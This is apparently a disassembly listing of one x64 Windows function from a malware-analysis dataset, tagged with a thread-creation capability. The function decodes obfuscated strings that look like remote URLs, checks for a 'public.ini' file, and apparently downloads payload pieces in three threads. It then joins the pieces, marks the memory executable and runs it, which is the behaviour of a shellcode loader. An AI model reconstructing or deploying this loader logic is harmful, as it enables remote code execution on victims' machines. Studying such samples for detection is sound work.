Function at 0x140001000
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov edx, 0x18
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rdx - 0x14]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, 0x18
xor ecx, ecx
mov r8d, 0x3000
mov rsi, rax
lea r9d, [rdx - 0x14]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, 0x18
xor ecx, ecx
mov r8d, 0x3000
mov r14, rax
lea r9d, [rdx - 0x14]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movups xmm1, xmmword [0x140003378]
movzx ecx, byte [0x140003388]
mov r15, rax
movzx eax, byte [0x1400033b0]
xor r12d, r12d
movups xmm0, xmmword [str.kwws22_1467157_149:_3_82dsl2y4]
mov byte [rbp - 0x80], al
movzx eax, byte [0x1400033d8]
movups xmmword [rsp + 0x48], xmm1
mov byte [rbp - 0x58], al
mov eax, r12d
movups xmm1, xmmword [0x1400033a0]
mov byte [rsp + 0x58], cl
movups xmmword [rsp + 0x38], xmm0
movups xmm0, xmmword [str.kwws22_1467157_149:_3_82dsl2y5]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x1400033c8]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [str.kwws22_1467157_149:_3_82dsl2y6]
movups xmmword [rbp - 0x68], xmm1
movdqa xmm1, xmmword [0x1400033f0]
movups xmmword [rbp - 0x78], xmm0
nop
movdqu xmm0, xmmword [rsp + rax + 0x38]
psubb xmm0, xmm1
movdqu xmmword [rsp + rax + 0x38], xmm0
add rax, 0x10
cmp rax, 0x20
jl 0x1400010e0
mov r13d, 0x20
mov rax, r12
add byte [rsp + r13 + 0x38], 0xfd
nop dword [rax]
movdqu xmm0, xmmword [rsp + rax + 0x60]
psubb xmm0, xmm1
movdqu xmmword [rsp + rax + 0x60], xmm0
add rax, 0x10
cmp rax, r13
jl 0x140001110
add byte [rsp + r13 + 0x60], 0xfd
mov rax, r12
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rbp + rax - 0x78]
psubb xmm0, xmm1
movdqu xmmword [rbp + rax - 0x78], xmm0
add rax, 0x10
cmp rax, r13
jl 0x140001140
add byte [rbp + r13 - 0x78], 0xfd
lea rax, [rsp + 0x38]
mov qword [rsi], rax
lea rdx, [rbp - 0x30]
lea rax, [rsp + 0x60]
mov qword [r14], rax
lea rcx, str.public.ini
lea rax, [rbp - 0x78]
mov qword [r15], rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, 0xffffffffffffffff
je 0x14000133e
mov qword [rsp + 0x240], rbx
mov rcx, rax
mov qword [rsp + 0x248], rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r9, rsi
mov qword [rsp + 0x28], r12
lea r8, [0x140001360]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r9, r14
mov qword [rsp + 0x28], r12
lea r8, [0x140001360]
mov qword [rbp - 0x50], rax
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r9, r15
mov qword [rsp + 0x28], r12
lea r8, [0x140001360]
mov qword [rbp - 0x48], rax
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r8d, 1
lea rdx, [rbp - 0x50]
mov r9d, 0xffffffff
mov qword [rbp - 0x40], rax
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rbx, r12
nop dword [rax]
mov rcx, qword [rbp + rbx*8 - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc rbx
cmp rbx, 3
jl 0x140001230
mov eax, dword [r15 + 0x10]
mov r9d, 4
add eax, dword [r14 + 0x10]
mov r8d, 0x3000
add eax, dword [rsi + 0x10]
xor ecx, ecx
movsxd rbx, eax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [rsi + 0x10]
mov rcx, rax
mov rdx, qword [rsi + 8]
mov rdi, rax
call sub.VCRUNTIME140.dll_memmove
movsxd rcx, dword [rsi + 0x10]
movsxd r8, dword [r14 + 0x10]
add rcx, rdi
mov rdx, qword [r14 + 8]
call sub.VCRUNTIME140.dll_memmove
movsxd rdx, dword [r14 + 0x10]
movsxd rcx, dword [rsi + 0x10]
add rdx, rdi
movsxd r8, dword [r15 + 0x10]
add rcx, rdx
mov rdx, qword [r15 + 8]
call sub.VCRUNTIME140.dll_memmove
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x30]
mov r8d, r13d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov r8, rdi
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0x18
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, 0x18
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, 0x18
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, qword [rsp + 0x248]
mov rbx, qword [rsp + 0x240]
mov rsi, qword [rsp + 0x250]
xor eax, eax
add rsp, 0x210
pop r15
pop r14
pop r13
pop r12
pop rbp
ret